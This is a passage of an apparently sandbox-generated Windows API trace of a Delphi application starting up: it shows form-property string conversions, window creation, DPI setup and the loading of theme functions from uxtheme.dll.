lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0091.233] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=11, lpWideCharStr=0x25a8604, cchWideChar=11 | out: lpWideCharStr="Font.Height") returned 11 [0091.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Font", cchWideChar=4, lpMultiByteStr=0x258ae8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Fontl", lpUsedDefaultChar=0x0) returned 4 [0091.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Height", cchWideChar=6, lpMultiByteStr=0x25a85b4, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heighte", lpUsedDefaultChar=0x0) returned 6 [0091.233] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0091.233] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=9, lpWideCharStr=0x25a8604, cchWideChar=9 | out: lpWideCharStr="Font.Name") returned 9 [0091.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Font", cchWideChar=4, lpMultiByteStr=0x258ae8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Fonti", lpUsedDefaultChar=0x0) returned 4 [0091.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Name", cchWideChar=4, lpMultiByteStr=0x258ae6c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Namen", lpUsedDefaultChar=0x0) returned 4 [0091.233] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x2593cf8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0091.233] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x2593cf8, cbMultiByte=6, lpWideCharStr=0x258ae6c, cchWideChar=6 | out: lpWideCharStr="Tahoma") returned 6 [0091.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tahoma", cchWideChar=6, lpMultiByteStr=0x19fa45, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TahomaS\x01", lpUsedDefaultChar=0x0) returned 6 [0091.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0091.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=10, lpWideCharStr=0x25a8604, cchWideChar=10 | out: lpWideCharStr="Font.Style") returned 10 [0091.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Font", cchWideChar=4, lpMultiByteStr=0x258ae8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Fontm", lpUsedDefaultChar=0x0) returned 4 [0091.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Style", cchWideChar=5, lpMultiByteStr=0x258ae6c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Style", lpUsedDefaultChar=0x0) returned 5 [0091.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x0, cbMultiByte=0, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 0 [0091.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x0, cbMultiByte=0, lpWideCharStr=0x40a4dc, cchWideChar=0 | out: lpWideCharStr="") returned 0 [0091.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x258ae68, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0091.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x258ae68, cbMultiByte=14, lpWideCharStr=0x25afc9c, cchWideChar=14 | out: lpWideCharStr="OldCreateOrder") returned 14 [0091.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OldCreateOrder", cchWideChar=14, lpMultiByteStr=0x25d38dc, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OldCreateOrderr", lpUsedDefaultChar=0x0) returned 14 [0091.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="False", cchWideChar=5, lpMultiByteStr=0x258ae6c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FalseOrdera", lpUsedDefaultChar=0x0) returned 5 [0091.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0091.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=11, lpWideCharStr=0x25a8604, cchWideChar=11 | out: lpWideCharStr="WindowState") returned 11 [0091.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowState", cchWideChar=11, lpMultiByteStr=0x25c5194, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowState", lpUsedDefaultChar=0x0) returned 11 [0091.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0091.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=11, lpWideCharStr=0x25a8654, cchWideChar=11 | out: lpWideCharStr="wsMinimized") returned 11 [0091.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wsMinimized", cchWideChar=11, lpMultiByteStr=0x25c5194, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wsMinimized", lpUsedDefaultChar=0x0) returned 11 [0091.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0091.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=10, lpWideCharStr=0x25a8604, cchWideChar=10 | out: lpWideCharStr="OnActivate") returned 10 [0091.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OnActivate", cchWideChar=10, lpMultiByteStr=0x25afc6c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OnActivatee", lpUsedDefaultChar=0x0) returned 10 [0091.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0091.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=12, lpWideCharStr=0x25afc6c, cchWideChar=12 | out: lpWideCharStr="FormActivate") returned 12 [0091.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FormActivate", cchWideChar=12, lpMultiByteStr=0x19fb51, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FormActivate", lpUsedDefaultChar=0x0) returned 12 [0091.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0091.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=8, lpWideCharStr=0x25a8604, cchWideChar=8 | out: lpWideCharStr="OnCreate") returned 8 [0091.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OnCreate", cchWideChar=8, lpMultiByteStr=0x25afc6c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OnCreateA", lpUsedDefaultChar=0x0) returned 8 [0091.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0091.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=10, lpWideCharStr=0x25a8654, cchWideChar=10 | out: lpWideCharStr="FormCreate") returned 10 [0091.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FormCreate", cchWideChar=10, lpMultiByteStr=0x19fb51, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FormCreate", lpUsedDefaultChar=0x0) returned 10 [0091.382] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x258ae88, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0091.382] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x258ae88, cbMultiByte=13, lpWideCharStr=0x25afc6c, cchWideChar=13 | out: lpWideCharStr="PixelsPerInch") returned 13 [0091.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PixelsPerInch", cchWideChar=13, lpMultiByteStr=0x25c5194, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PixelsPerInch", lpUsedDefaultChar=0x0) returned 13 [0091.382] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0091.382] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=10, lpWideCharStr=0x25a85b4, cchWideChar=10 | out: lpWideCharStr="TextHeight") returned 10 [0091.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TextHeight", cchWideChar=10, lpMultiByteStr=0x25afc9c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TextHeights", lpUsedDefaultChar=0x0) returned 10 [0091.382] GetCurrentThreadId () returned 0x112c [0091.382] GetCurrentThreadId () returned 0x112c [0091.382] GetCurrentThreadId () returned 0x112c [0091.382] GetCurrentThreadId () returned 0x112c [0091.382] GetCurrentThreadId () returned 0x112c [0091.382] GetCurrentThreadId () returned 0x112c [0091.382] GetCurrentThreadId () returned 0x112c [0091.382] GetCurrentThreadId () returned 0x112c [0091.382] GetCurrentThreadId () returned 0x112c [0091.382] GetCurrentThreadId () returned 0x112c [0091.382] FreeResource (hResData=0x6e5888) returned 0 [0091.382] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x19fc25, cbMultiByte=12, lpWideCharStr=0x25afc0c, cchWideChar=13 | out: lpWideCharStr="TApplication") returned 12 [0091.382] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0091.655] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x19f8e9, cbMultiByte=6, lpWideCharStr=0x258ad8c, cchWideChar=7 | out: lpWideCharStr="TForm1") returned 6 [0091.655] GetWindowLongW (hWnd=0x202c4, nIndex=-20) returned 384 [0091.655] SetWindowLongW (hWnd=0x202c4, nIndex=-20, dwNewLong=256) returned 384 [0091.656] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x7c, wParam=0xffffffec, lParam=0x19fadc) returned 0x0 [0091.657] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x7d, wParam=0xffffffec, lParam=0x19fadc) returned 0x0 [0091.659] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x3801d9 [0091.660] GetClassInfoW (in: hInstance=0x400000, lpClassName="TForm1", lpWndClass=0x19fb78 | out: lpWndClass=0x19fb78) returned 0 [0091.660] RegisterClassW (lpWndClass=0x19fbc4) returned 0xc1a0 [0091.660] CreateWindowExW (dwExStyle=0x10000, lpClassName="TForm1", lpWindowName=0x0, dwStyle=0xae000000, X=-2147483648, Y=-2147483648, nWidth=320, nHeight=240, hWndParent=0x202c4, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x302c0 [0091.721] IsWindowUnicode (hWnd=0x302c0) returned 1 [0091.721] SetWindowLongW (hWnd=0x302c0, nIndex=-4, dwNewLong=8523720) returned 5501704 [0091.954] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0091.954] SetPropW (hWnd=0x302c0, lpString=0xc0db, hData=0x254f220) returned 1 [0091.954] SetPropW (hWnd=0x302c0, lpString=0xc0dc, hData=0x254f220) returned 1 [0092.025] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x81, wParam=0x0, lParam=0x19f400) returned 0x1 [0092.318] SetMenu (hWnd=0x302c0, hMenu=0x0) returned 1 [0092.318] LoadLibraryA (lpLibFileName="Shcore.dll") returned 0x77750000 [0092.319] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0xa21230 [0092.319] GetProcAddress (hModule=0x77750000, lpProcName="GetProcessDpiAwareness") returned 0x77798eb0 [0092.319] GetProcessDpiAwareness () returned 0x0 [0092.320] SetErrorMode (uMode=0x8000) returned 0x0 [0092.320] LoadLibraryW (lpLibFileName="user32.dll") returned 0x750c0000 [0092.320] SetErrorMode (uMode=0x0) returned 0x8000 [0092.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EnableNonClientDpiScaling", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0092.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EnableNonClientDpiScaling", cchWideChar=25, lpMultiByteStr=0x25afc3c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EnableNonClientDpiScaling", lpUsedDefaultChar=0x0) returned 25 [0092.320] GetProcAddress (hModule=0x750c0000, lpProcName="EnableNonClientDpiScaling") returned 0x750f3260 [0092.320] EnableNonClientDpiScaling () returned 0x1 [0093.774] FreeLibrary (hLibModule=0x750c0000) returned 1 [0093.775] GetCurrentThreadId () returned 0x112c [0093.775] GetCurrentThreadId () returned 0x112c [0093.775] GetCurrentThreadId () returned 0x112c [0093.797] GetCurrentThreadId () returned 0x112c [0093.797] GetCurrentThreadId () returned 0x112c [0093.797] GetCurrentThreadId () returned 0x112c [0093.959] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x83, wParam=0x0, lParam=0x19f3ec) returned 0x0 [0094.768] GetCurrentThreadId () returned 0x112c [0094.768] GetCurrentThreadId () returned 0x112c [0094.768] GetCurrentThreadId () returned 0x112c [0094.768] GetCurrentThreadId () returned 0x112c [0094.768] GetCurrentThreadId () returned 0x112c [0094.768] GetCurrentThreadId () returned 0x112c [0094.768] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x1, wParam=0x0, lParam=0x19f400) returned 0x0 [0094.768] GetCurrentThreadId () returned 0x112c [0094.768] GetCurrentThreadId () returned 0x112c [0094.768] GetCurrentThreadId () returned 0x112c [0094.768] GetCurrentThreadId () returned 0x112c [0094.768] GetCurrentThreadId () returned 0x112c [0094.768] GetCurrentThreadId () returned 0x112c [0094.789] IsIconic (hWnd=0x302c0) returned 1 [0094.789] GetWindowPlacement (in: hWnd=0x302c0, lpwndpl=0x19eff8 | out: lpwndpl=0x19eff8) returned 1 [0094.789] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.789] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0094.789] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0x19f01c, fWinIni=0x0 | out: pvParam=0x19f01c) returned 1 [0094.789] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.789] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.789] IsIconic (hWnd=0x302c0) returned 1 [0094.789] SetRect (in: lprc=0x19f000, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19f000) returned 1 [0094.789] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.789] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0094.789] AdjustWindowRectEx (in: lpRect=0x19f000, dwStyle=0xae000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19f000) returned 1 [0094.789] SetRect (in: lprc=0x19f000, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19f000) returned 1 [0094.789] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.789] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.789] IsIconic (hWnd=0x302c0) returned 1 [0094.789] SetRect (in: lprc=0x19f000, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19f000) returned 1 [0094.789] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.789] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0094.790] AdjustWindowRectEx (in: lpRect=0x19f000, dwStyle=0xae000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19f000) returned 1 [0094.790] SetRect (in: lprc=0x19f000, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19f000) returned 1 [0094.790] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.790] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.790] IsIconic (hWnd=0x302c0) returned 1 [0094.790] SetRect (in: lprc=0x19efd0, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19efd0) returned 1 [0094.790] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.790] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0094.790] AdjustWindowRectEx (in: lpRect=0x19efd0, dwStyle=0xae000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19efd0) returned 1 [0094.790] SetRect (in: lprc=0x19efd0, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19efd0) returned 1 [0094.790] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.790] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.790] IsIconic (hWnd=0x302c0) returned 1 [0094.790] SetRect (in: lprc=0x19efd0, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19efd0) returned 1 [0094.790] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.790] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0094.790] AdjustWindowRectEx (in: lpRect=0x19efd0, dwStyle=0xae000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19efd0) returned 1 [0094.790] SetRect (in: lprc=0x19efd0, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19efd0) returned 1 [0094.791] FlatSB_SetScrollProp (param_1=0x302c0, index=0x100, newValue=0x0, param_4=0) returned 0 [0094.791] GetSysColor (nIndex=20) returned 0xffffff [0094.791] FlatSB_SetScrollProp (param_1=0x302c0, index=0x40, newValue=0xffffff, param_4=0) returned 0 [0094.791] FlatSB_SetScrollInfo (param_1=0x302c0, code=1, psi=0x19f00c, fRedraw=1) returned 0 [0094.792] FlatSB_GetScrollPos (param_1=0x302c0, code=1) returned 0 [0094.792] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.792] IsIconic (hWnd=0x302c0) returned 1 [0094.792] SetRect (in: lprc=0x19efd0, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19efd0) returned 1 [0094.792] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.792] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0094.792] AdjustWindowRectEx (in: lpRect=0x19efd0, dwStyle=0xae000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19efd0) returned 1 [0094.792] SetRect (in: lprc=0x19efd0, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19efd0) returned 1 [0094.792] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.792] IsIconic (hWnd=0x302c0) returned 1 [0094.792] SetRect (in: lprc=0x19efd0, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19efd0) returned 1 [0094.792] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.792] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0094.792] AdjustWindowRectEx (in: lpRect=0x19efd0, dwStyle=0xae000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19efd0) returned 1 [0094.792] SetRect (in: lprc=0x19efd0, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19efd0) returned 1 [0094.792] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.792] IsIconic (hWnd=0x302c0) returned 1 [0094.792] SetRect (in: lprc=0x19efd0, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19efd0) returned 1 [0094.792] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.792] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0094.792] AdjustWindowRectEx (in: lpRect=0x19efd0, dwStyle=0xae000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19efd0) returned 1 [0094.792] SetRect (in: lprc=0x19efd0, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19efd0) returned 1 [0094.792] FlatSB_SetScrollProp (param_1=0x302c0, index=0x200, newValue=0x0, param_4=0) returned 0 [0094.792] GetSysColor (nIndex=20) returned 0xffffff [0094.793] FlatSB_SetScrollProp (param_1=0x302c0, index=0x80, newValue=0xffffff, param_4=0) returned 0 [0094.793] FlatSB_SetScrollInfo (param_1=0x302c0, code=0, psi=0x19f00c, fRedraw=1) returned 0 [0094.793] FlatSB_GetScrollPos (param_1=0x302c0, code=0) returned 0 [0094.793] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.793] IsIconic (hWnd=0x302c0) returned 1 [0094.793] SetRect (in: lprc=0x19efd0, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19efd0) returned 1 [0094.793] GetWindowLongW (hWnd=0x302c0, nIndex=-16) returned -1375731712 [0094.793] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 65536 [0094.793] AdjustWindowRectEx (in: lpRect=0x19efd0, dwStyle=0xae000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19efd0) returned 1 [0094.793] SetRect (in: lprc=0x19efd0, xLeft=0, yTop=0, xRight=320, yBottom=240 | out: lprc=0x19efd0) returned 1 [0095.088] LoadLibraryW (lpLibFileName="uxtheme.dll") returned 0x74310000 [0095.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OpenThemeData", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0095.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OpenThemeData", cchWideChar=13, lpMultiByteStr=0x258ad8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OpenThemeData", lpUsedDefaultChar=0x0) returned 13 [0095.089] GetProcAddress (hModule=0x74310000, lpProcName="OpenThemeData") returned 0x74334220 [0095.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CloseThemeData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0095.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CloseThemeData", cchWideChar=14, lpMultiByteStr=0x258ad8c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseThemeData", lpUsedDefaultChar=0x0) returned 14 [0095.089] GetProcAddress (hModule=0x74310000, lpProcName="CloseThemeData") returned 0x74342680 [0095.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DrawThemeBackground", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0095.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DrawThemeBackground", cchWideChar=19, lpMultiByteStr=0x25a85b4, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DrawThemeBackground", lpUsedDefaultChar=0x0) returned 19 [0095.089] GetProcAddress (hModule=0x74310000, lpProcName="DrawThemeBackground") returned 0x7433b760 [0095.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DrawThemeText", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0095.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DrawThemeText", cchWideChar=13, lpMultiByteStr=0x258ad8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DrawThemeText", lpUsedDefaultChar=0x0) returned 13 [0095.093] GetProcAddress (hModule=0x74310000, lpProcName="DrawThemeText") returned 0x7433cbb0 [0095.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeBackgroundContentRect", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0095.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeBackgroundContentRect", cchWideChar=29, lpMultiByteStr=0x25afc3c, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeBackgroundContentRect", lpUsedDefaultChar=0x0) returned 29 [0095.094] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeBackgroundContentRect") returned 0x7433bcc0 [0095.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeBackgroundExtent", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0095.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemeBackgroundExtent", cchWideChar=24, lpMultiByteStr=0x25afc3c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThemeBackgroundExtent", lpUsedDefaultChar=0x0) returned 24 [0095.094] GetProcAddress (hModule=0x74310000, lpProcName="GetThemeBackgroundExtent") returned 0x7433fe50 [0095.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemePartSize", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0095.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetThemePartSize", cchWideChar=16, 